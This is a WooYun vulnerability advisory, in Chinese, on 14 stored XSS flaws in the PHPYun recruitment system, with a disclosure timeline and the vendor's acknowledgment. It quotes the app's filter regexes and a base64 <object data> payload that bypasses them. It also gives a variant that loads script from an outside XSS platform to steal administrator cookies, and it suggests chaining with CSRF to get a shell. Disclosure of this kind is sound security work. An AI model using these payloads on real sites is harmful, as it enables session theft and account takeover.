当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072869

漏洞标题:Phpyun存储型xss14处可打后台cookie附带绕过和批量定位方法

相关厂商:php云人才系统

漏洞作者: zxx

提交时间:2014-08-18 15:47

修复时间:2014-11-16 15:48

公开时间:2014-11-16 15:48

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-18: 细节已通知厂商并且等待厂商处理中
2014-08-18: 厂商已经确认,细节仅向厂商公开
2014-08-21: 细节向第三方安全合作伙伴开放
2014-10-12: 细节向核心白帽子及相关领域专家公开
2014-10-22: 细节向普通白帽子公开
2014-11-01: 细节向实习白帽子公开
2014-11-16: 细节向公众公开

简要描述:

20140811。绕过过滤,批量找xss,可打cookie。

详细说明:

刚开始做审计,phpyun的代码之前没有看过,phith0n曾经发过一个打包的xss,说是客户端过滤没有进行服务端过滤,现在这个版本应该是服务端过滤吧。
phpyun的global.php里面引用了两个安全的php文件,分别是data/db.safety.php和include/webscan360/360safe/360webscan.php。
先来看看data/db.safety.php:

if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);//
}
}
foreach($_GET as $id=>$v){

safesql($id,$v,"GET",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
if(!is_array($v))
$v=substr(strip_tags($v),0,80);
$_GET[$id]=common_htmlspecialchars($v);//
}
foreach($_COOKIE as $id=>$v){

safesql($id,$v,"COOKIE",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$v=substr(strip_tags($v),0,52);
$_COOKIE[$id]=common_htmlspecialchars($v);//
}


safesql函数先过滤一下,然后common_htmlspecialchars进行html编码。

function safesql($StrFiltKey,$StrFiltValue,$type){

$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";


看看是不是有办法绕过,正则<.*data=data:text\\/html.*>,就绕过他吧,加个data="...",就绕过了。
好,那我们用<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>就绕过了safesql,下一步要搞定html编码了。

function common_htmlspecialchars($str){

$str = str_replace(
array('<','>','"',"'","--"),
array('&lt;','&gt;','&quot;',"&acute;","- -"),
$str); //先将一些字符替换
return gpc2sql($str);//这里带入一个简单的过滤函数,主要过滤sql,就不看了
}


从上面可以看出,我们全局的gpc数据都被这样处理了,那么直接插入数据库,肯定就是编码过的。
关键来了,明确一下思路,搜索一下html_entity_decode函数,html解码之后insert或者update进数据库的基本上都能xss了。

QQ截图20140818105915.png


这里面后台的,就没有跟进去。
除去后台的和插件的有,我按操作数据库的功能计算次数了。
/friend/model/index.class.php 1处
/ask/model/index.class.php 3处
/member/model/com.class.php 7行
/member/model/index.class.php 2行
/model/ajax.class.php 1行
先看/friend/model/index.class.php ,发表朋友圈状态时1处:

function addstate_action()
{
include_once(CONFIG_PATH."db.data.php");
if($this->uid=='')
{
$this->obj->ACT_layer_msg("您还未登录或登录超时请重新登录!",4,"index.php");
}
if($_POST['content'])
{
$content=$_POST['content'];
$content = str_replace("&amp;","&",html_entity_decode($content,ENT_QUOTES,"GB2312"));//html解码
foreach($arr_data['imface'] as $k=>$v)
{
if(strstr($content,"[".$k."]"))
{
$content=str_replace("[".$k."]","<img src=\"".$this->config[sy_weburl].$arr_data['faceurl'].$v."\">",$content);
}
}
$data['content']=$content;//放到$dara中
$data['uid']=$this->uid;
$data['ctime']=time();
if($_FILES['msg_img']['name'])
{
$upload=$this->upload_pic("../upload/friend/");
$pictures=$upload->picture($_FILES['msg_img']);
$data['msg_pic']=$pictures;
}
$cid = $this->obj->insert_into("friend_state",$data);//$data被插入数据库


/ask/model/index.class.php 中 追加问题和回答问题时各1处:

function answer_action()
{
$gourl= $this->aurl(array("url"=>"c:content,id:".$_GET['id']));
if($_POST['content'])
{
$q_title=$this->obj->DB_select_once("question","`id`='".(int)$_GET['id']."'","`uid`,`title`,`content`");
if($q_title['uid']==$this->uid)
{
$content = str_replace("&amp;","&",html_entity_decode("<br/>追加内容:<br/>".$_POST['content'],ENT_QUOTES,"GB2312")); //解码
$content=$q_title['content'].$content;
$id=$this->obj->update_once("question",array("content"=>$content),array("id"=>(int)$_GET['id'])); //更新入库
if($id)
{
$this->obj->ACT_layer_msg( "提问追加成功!",9,$gourl);
}else{
$this->obj->ACT_layer_msg( "提问追加失败!",8,$gourl);
}
}else{
$data['qid']=(int)$_GET['id'];
$data['content']=str_replace("&amp;","&",html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码
$data['uid']=$this->uid;
$data['comment']=0;
$data['support']=0;
$data['oppose']=0;
$data['add_time']=time();
$id=$this->obj->insert_into("answer",$data);//入库
if($id)
{
$this->obj->DB_update_all("question","`answer_num`=`answer_num`+1","id='".(int)$_GET['id']."'");
$state_content = "回答了问答《<a href=\"".$gourl."\" target=\"_blank\">".$q_title['title']."</a>》。";
$this->addstate($state_content);
$this->obj->ACT_layer_msg( "回答成功!", 9,$gourl);
}else{
$this->obj->ACT_layer_msg( "回答失败!", 8);
}
}
}else{
$this->obj->ACT_layer_msg( "内容不能为空!", 2);
}
}


提问时1处:

function save_action()
{
if($this->uid=='')
{
$this->obj->ACT_layer_msg( "请先登录!", 8);
}
if(trim($_POST['title'])=="")
{
$this->obj->ACT_layer_msg( "标题不能为空!", 8);
}
$data['title']=$_POST['title'];
$data['cid']=(int)$_POST['cid'];
$data['content']=str_replace("&amp;","&",html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码
$data['uid']=$this->uid;
$data['add_time']=time();
$n_ids=$this->obj->insert_into("question",$data); //入库
if($n_ids)
{
$nickname=$this->obj->DB_select_once("firend_info","`uid`='".$this->uid."'","`nickname`");
$gourl= $this->aurl(array("url"=>"c:content,id:".$n_ids));
$sql['uid']=$this->uid;
$sql['content']="发布了问答《<a href=\"".$gourl."\" target=\"_blank\">".$_POST['title']."</a>》。";
$sql['ctime']=time();
$this->obj->insert_into("friend_state",$sql);
$gourl= $this->aurl(array("url"=>"c:index"));
$this->obj->ACT_layer_msg( "提问成功!",9,$gourl);
}else{
$this->obj->ACT_layer_msg( "提问失败!", 8);
}
}


/member/model/com.class.php中 企业添加职位和更新职位各1处:

function jobadd_action(){
//215行 if($_POST['submitBtn']){
$id=intval($_POST['id']);
$state= intval($_POST['state']);
unset($_POST['submitBtn']);
unset($_POST['id']);
unset($_POST['state']);
$_POST['uid']=$this->uid;
$_POST['lastupdate']=time();
$_POST['state']=$this->config['com_job_status'];
$_POST['description'] = str_replace(array("&amp;","background-color:#ffffff","background-color:#fff","white-space:nowrap;"),array("&",'background-color:','background-color:','white-space:'),html_entity_decode($_POST['description'],ENT_QUOTES,"GB2312"));解码
。。。。
if(!$id){
$this->get_com(1);
$nid=$this->obj->insert_into("company_job",$_POST); //入库
$name="添加职位";
。。。
}else{
if($state=="1" || $state=="2")
{
$this->get_com(2);
}
$rows=$this->obj->DB_select_once("company_job","`id`='".$id."' and `uid`='".$this->uid."'");
$nid=$this->obj->update_once("company_job",$_POST,$where); //更新入库
$name="更新职位";
}


/member/model/com.class.php 修改企业资料1处:

function info_action(){
1619行 $_POST['cert'] = $row['cert'];
$where['uid']=$this->uid;
$_POST['content'] = str_replace(array("&amp;","background-color:#ffffff","background-color:#fff","white-space:nowrap;"),array("&",'background-color:','background-color:','white-space:'),html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码
$_POST['lastupdate']=mktime();
$nid=$this->obj->update_once("company",$_POST,$where);//入库


添加新闻和更改新闻各1处:

function news_action(){
2015行 if($_POST['action']=="save")
{
$sql['title']=$_POST['title'];
$body = str_replace("&amp;","&",html_entity_decode($_POST['body'],ENT_QUOTES,"GB2312"));//解码
$title=trim($sql['title']);
if($title=="" || $body=="")
{
$this->obj->ACT_layer_msg("新闻标题内容不能为空!",2,$_SERVER['HTTP_REFERER']);
}
$sql['body']=$body;
if(!$_POST['id'])
{
$sql['uid']=$this->uid;
$sql['ctime']=mktime();
$oid=$this->obj->insert_into("company_news",$sql);//入库
}else{
$where['uid']=$this->uid;
$where['id']=(int)$_POST['id'];
$sql['status']='0';
$oid=$this->obj->update_once("company_news",$sql,$where);//更新入库
}
}


添加产品和更改产品各1处:

function product_action(){
2083行 if($_POST['submit']){
$sql['title']=$_POST['title'];
$body = str_replace("&amp;","&",html_entity_decode($_POST['body'],ENT_QUOTES,"GB2312"));//解码
$sql['body']=$body;//赋值
if($_FILES['pic']['tmp_name'])
{
$upload=$this->upload_pic("../upload/product/",false,$this->config['com_uppic']);
$pictures=$upload->picture($_FILES['pic']);
$this->picmsg($pictures,$_SERVER['HTTP_REFERER']);
$sql['pic']=str_replace("../","/",$pictures);
}
if(!$_POST['id']){
$sql['uid']=$this->uid;
$sql['ctime']=mktime();
$oid=$this->obj->insert_into("company_product",$sql);//入库
}else{
$where['uid']=$this->uid;
$where['id']=(int)$_POST['id'];
$sql['status']=0;
if($_FILES['pic']['tmp_name']){
$pictures=$upload->picture($_FILES['pic']);
$this->picmsg($pictures,$_SERVER['HTTP_REFERER']);
$sql['pic']=str_replace("../","/",$pictures);
$row=$this->obj->DB_select_once("company_product","`id`='".(int)$_POST['id']."' and `uid`='".$this->uid."'","pic");
if(is_array($row)){
$this->obj->unlink_pic("..".$row['pic']);
}
}
$oid=$this->obj->update_once("company_product",$sql,$where);//更新入库
}
$oid?$this->obj->ACT_layer_msg("操作成功!",9,"index.php?c=product"):$this->obj->ACT_layer_msg("操作失败,请稍后再试!",8,"index.php?c=product");
}
}


/member/model/index.class.php中 个人添加黏贴简历和更改黏贴简历各1处

function expectq_action(){
$this->get_user();
$num=$this->obj->DB_select_num("resume_expect","`uid`='".$this->uid."'");
if($_POST['submit']){
$eid=(int)$_POST['eid'];
$data['doc']=str_replace("&amp;","&",html_entity_decode($_POST['doc'],ENT_QUOTES,"GB2312"));//解码
$_POST['lastupdate']=mktime();
unset($_POST['eid']);
unset($_POST['submit']);
unset($_POST['doc']);
if(!$eid){
if($num>=$this->config['user_number'])
{
$this->obj->ACT_layer_msg("你的简历数已经超过系统设置的简历数了",8,"index.php?c=resume");
}
$_POST['doc']='1';
$_POST['uid']=(int)$this->uid;
$nid=$this->obj->insert_into("resume_expect",$_POST);
$data['eid']=(int)$nid;
$data['uid']=(int)$this->uid;
$nid2=$this->obj->insert_into("resume_doc",$data);//入库
if($nid2){
if($num==0){
$this->obj->update_once('resume',array('def_job'=>$nid),array('uid'=>$this->uid));
}
$nid2=$this->obj->DB_update_all("member_statis","`resume_num`=`resume_num`+1","uid='".$this->uid."'");
}
$nid2?$this->obj->ACT_layer_msg("添加成功!",9,"index.php?c=resume"):$this->obj->ACT_layer_msg("添加失败!",8,"index.php?c=resume");
}else{
$_POST['height_status']='0';
$this->obj->update_once("resume_expect",$_POST,array("id"=>$eid));
$nid=$this->obj->update_once("resume_doc",$data,array("eid"=>$eid));//更新入库
$nid?$this->obj->ACT_layer_msg("更新成功!",9,"index.php?c=resume"):$this->obj->ACT_layer_msg("更新失败!",8,"index.php?c=resume");
}
}


/model/ajax.class.php中 使用ajax添加朋友圈1处:

function mystate_action()
{
include_once(CONFIG_PATH."db.data.php");
if($this->uid>0)
{
if($_POST['content'])
{
$content = str_replace("&amp;","&",html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码
$content = iconv("utf-8", "gbk",$content);
foreach($arr_data['imface'] as $k=>$v)
{
if(strstr($content,"[".$k."]"))
{
$content=str_replace("[".$k."]","<img src=\"".$this->config['sy_weburl'].$arr_data['faceurl'].$v."\">",$content);
}
}
$data['content']=$content;
$data['uid']=$this->uid;
$data['ctime']=time();
$cid = $this->obj->insert_into("friend_state",$data);//入库
$info = $this->obj->DB_select_once("friend_info","uid='".$this->uid."'");
if($info['pic']=="")
{
$info['pic'] = $this->config['sy_weburl']."/".$this->config['sy_friend_icon'];
}
$info['url'] = $this->furl(array("url"=>"c:profile,id:".$this->uid));
$info['ctime']=date("Y-m-d H:i");
$info['cid'] = $cid;
$info['content'] = $content;
$info['nickname'] = iconv("gbk", "utf-8",$info['nickname']);
echo urldecode(json_encode($info));die;
}
}else{
echo 1;die;
}
}

漏洞证明:

先来看看危害吧,拿朋友圈这个做个测试,因为朋友圈比较直接,管理员点朋友圈,直接可以可以插,招聘信息和新闻那些,管理员也一定会被x到,因为那些内容必须审核。这些xss几乎覆盖了所以地方,想x用户x企业x管理都可以,成功率很高,如果配合csrf getshell,效果更好。现在已经可以用来打cookie。
先测试弹窗吧。
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgvenh4Lyk8L3NjcmlwdD4="></object>
用comtest,是个用户,发了一条朋友圈:

QQ截图20140818111241.png


QQ截图20140818110917.png


管理员在后台点到朋友圈的时候,直接弹窗:

QQ截图20140818111139.png


试试打cookie吧:
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hzcy5yZS81Nzg0Pjwvc2NyaXB0Pg=="></object>

QQ截图20140818111004.png


看看cookie:

QQ截图20140818112138.png


接下来试试各种弹窗吧。
查看职位:

QQ截图20140818120339.png


看下提问和追加提问:

QQ截图20140818120459.png

QQ截图20140818120614.png


企业的介绍、新闻和产品:

QQ截图20140818120827.png

QQ截图20140818120958.png

QQ截图20140818121111.png


黏贴简历,注意是黏贴简历和修改简历不一样:
提交地址http://localhost/member/index.php?c=expectq

QQ截图20140818121507.png


QQ截图20140818121550.png


ajax那个和朋友圈提交效果一样,只是提交方法不一样:不测试了

修复方案:

主要还是过滤,另外,不需要富文本的地方,朋友圈什么的,直接不要解码了,需要用的地方好好过滤一下。

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-18 16:00

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无